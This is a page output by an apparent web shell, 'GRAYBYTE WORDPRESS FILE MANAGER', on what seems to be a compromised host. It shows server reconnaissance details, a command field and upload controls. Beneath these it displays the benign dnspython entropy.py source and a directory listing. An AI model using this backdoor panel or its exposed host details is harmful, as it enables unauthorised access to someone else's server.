GRAYBYTE WORDPRESS FILE MANAGER5978

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/lib/python3.6/site-packages/dns/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/lib/python3.6/site-packages/dns//entropy.py
# Copyright (C) 2009, 2011 Nominum, Inc.
#
# Permission to use, copy, modify, and distribute this software and its
# documentation for any purpose with or without fee is hereby granted,
# provided that the above copyright notice and this permission notice
# appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT
# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

import os
import random
import time
from ._compat import long, binary_type
try:
    import threading as _threading
except ImportError:
    import dummy_threading as _threading


class EntropyPool(object):

    def __init__(self, seed=None):
        self.pool_index = 0
        self.digest = None
        self.next_byte = 0
        self.lock = _threading.Lock()
        try:
            import hashlib
            self.hash = hashlib.sha1()
            self.hash_len = 20
        except ImportError:
            try:
                import sha
                self.hash = sha.new()
                self.hash_len = 20
            except ImportError:
                import md5  # pylint: disable=import-error
                self.hash = md5.new()
                self.hash_len = 16
        self.pool = bytearray(b'\0' * self.hash_len)
        if seed is not None:
            self.stir(bytearray(seed))
            self.seeded = True
            self.seed_pid = os.getpid()
        else:
            self.seeded = False
            self.seed_pid = 0

    def stir(self, entropy, already_locked=False):
        if not already_locked:
            self.lock.acquire()
        try:
            for c in entropy:
                if self.pool_index == self.hash_len:
                    self.pool_index = 0
                b = c & 0xff
                self.pool[self.pool_index] ^= b
                self.pool_index += 1
        finally:
            if not already_locked:
                self.lock.release()

    def _maybe_seed(self):
        if not self.seeded or self.seed_pid != os.getpid():
            try:
                seed = os.urandom(16)
            except Exception:
                try:
                    r = open('/dev/urandom', 'rb', 0)
                    try:
                        seed = r.read(16)
                    finally:
                        r.close()
                except Exception:
                    seed = str(time.time())
            self.seeded = True
            self.seed_pid = os.getpid()
            self.digest = None
            seed = bytearray(seed)
            self.stir(seed, True)

    def random_8(self):
        self.lock.acquire()
        try:
            self._maybe_seed()
            if self.digest is None or self.next_byte == self.hash_len:
                self.hash.update(binary_type(self.pool))
                self.digest = bytearray(self.hash.digest())
                self.stir(self.digest, True)
                self.next_byte = 0
            value = self.digest[self.next_byte]
            self.next_byte += 1
        finally:
            self.lock.release()
        return value

    def random_16(self):
        return self.random_8() * 256 + self.random_8()

    def random_32(self):
        return self.random_16() * 65536 + self.random_16()

    def random_between(self, first, last):
        size = last - first + 1
        if size > long(4294967296):
            raise ValueError('too big')
        if size > 65536:
            rand = self.random_32
            max = long(4294967295)
        elif size > 256:
            rand = self.random_16
            max = 65535
        else:
            rand = self.random_8
            max = 255
        return first + size * rand() // (max + 1)

pool = EntropyPool()

try:
    system_random = random.SystemRandom()
except Exception:
    system_random = None

def random_16():
    if system_random is not None:
        return system_random.randrange(0, 65536)
    else:
        return pool.random_16()

def between(first, last):
    if system_random is not None:
        return system_random.randrange(first, last + 1)
    else:
        return pool.random_between(first, last)

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 01 2025 22:14:40
root / root
0755
__pycache__
--
June 15 2024 08:34:43
root / root
0755
rdtypes
--
June 15 2024 08:34:43
root / root
0755
__init__.py
1.296 KB
September 20 2016 16:24:02
root / root
0644
_compat.py
1.282 KB
September 20 2016 16:24:02
root / root
0644
dnssec.py
14.444 KB
September 20 2016 16:24:02
root / root
0644
e164.py
3.073 KB
September 20 2016 16:24:02
root / root
0644
edns.py
4.281 KB
September 20 2016 16:24:02
root / root
0644
entropy.py
4.36 KB
September 20 2016 16:24:02
root / root
0644
exception.py
4.518 KB
September 20 2016 19:13:40
root / root
0644
flags.py
2.602 KB
September 20 2016 16:24:02
root / root
0644
grange.py
1.927 KB
September 20 2016 16:24:02
root / root
0644
hash.py
1.074 KB
September 20 2016 16:24:02
root / root
0644
inet.py
3.166 KB
September 20 2016 16:24:02
root / root
0644
ipv4.py
1.983 KB
September 20 2016 16:24:02
root / root
0644
ipv6.py
5.169 KB
September 20 2016 16:24:02
root / root
0644
message.py
42.118 KB
September 26 2016 15:38:18
root / root
0644
name.py
28.735 KB
May 23 2024 10:29:27
root / root
0644
namedict.py
3.591 KB
September 20 2016 16:24:02
root / root
0644
node.py
5.914 KB
September 20 2016 16:24:02
root / root
0644
opcode.py
2.479 KB
September 20 2016 16:24:02
root / root
0644
query.py
19.185 KB
May 23 2024 10:29:27
root / root
0644
rcode.py
3.031 KB
September 20 2016 16:24:02
root / root
0644
rdata.py
14.646 KB
September 20 2016 16:24:02
root / root
0644
rdataclass.py
3.182 KB
September 20 2016 16:24:02
root / root
0644
rdataset.py
11.285 KB
September 20 2016 16:24:02
root / root
0644
rdatatype.py
5.214 KB
September 20 2016 19:54:45
root / root
0644
renderer.py
11.644 KB
September 20 2016 16:24:02
root / root
0644
resolver.py
50.884 KB
September 26 2016 15:52:30
root / root
0644
reversename.py
3.233 KB
September 20 2016 16:24:02
root / root
0644
rrset.py
5.854 KB
September 25 2016 19:25:33
root / root
0644
set.py
7.534 KB
September 20 2016 16:24:02
root / root
0644
tokenizer.py
17.884 KB
September 20 2016 16:24:02
root / root
0644
tsig.py
7.537 KB
September 20 2016 16:24:02
root / root
0644
tsigkeyring.py
1.696 KB
September 20 2016 16:24:02
root / root
0644
ttl.py
2.229 KB
September 20 2016 16:24:02
root / root
0644
update.py
9.777 KB
September 20 2016 16:24:02
root / root
0644
version.py
1.229 KB
September 20 2016 16:24:02
root / root
0644
wiredata.py
3.644 KB
September 20 2016 16:24:02
root / root
0644
zone.py
39.088 KB
September 29 2016 22:29:39
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF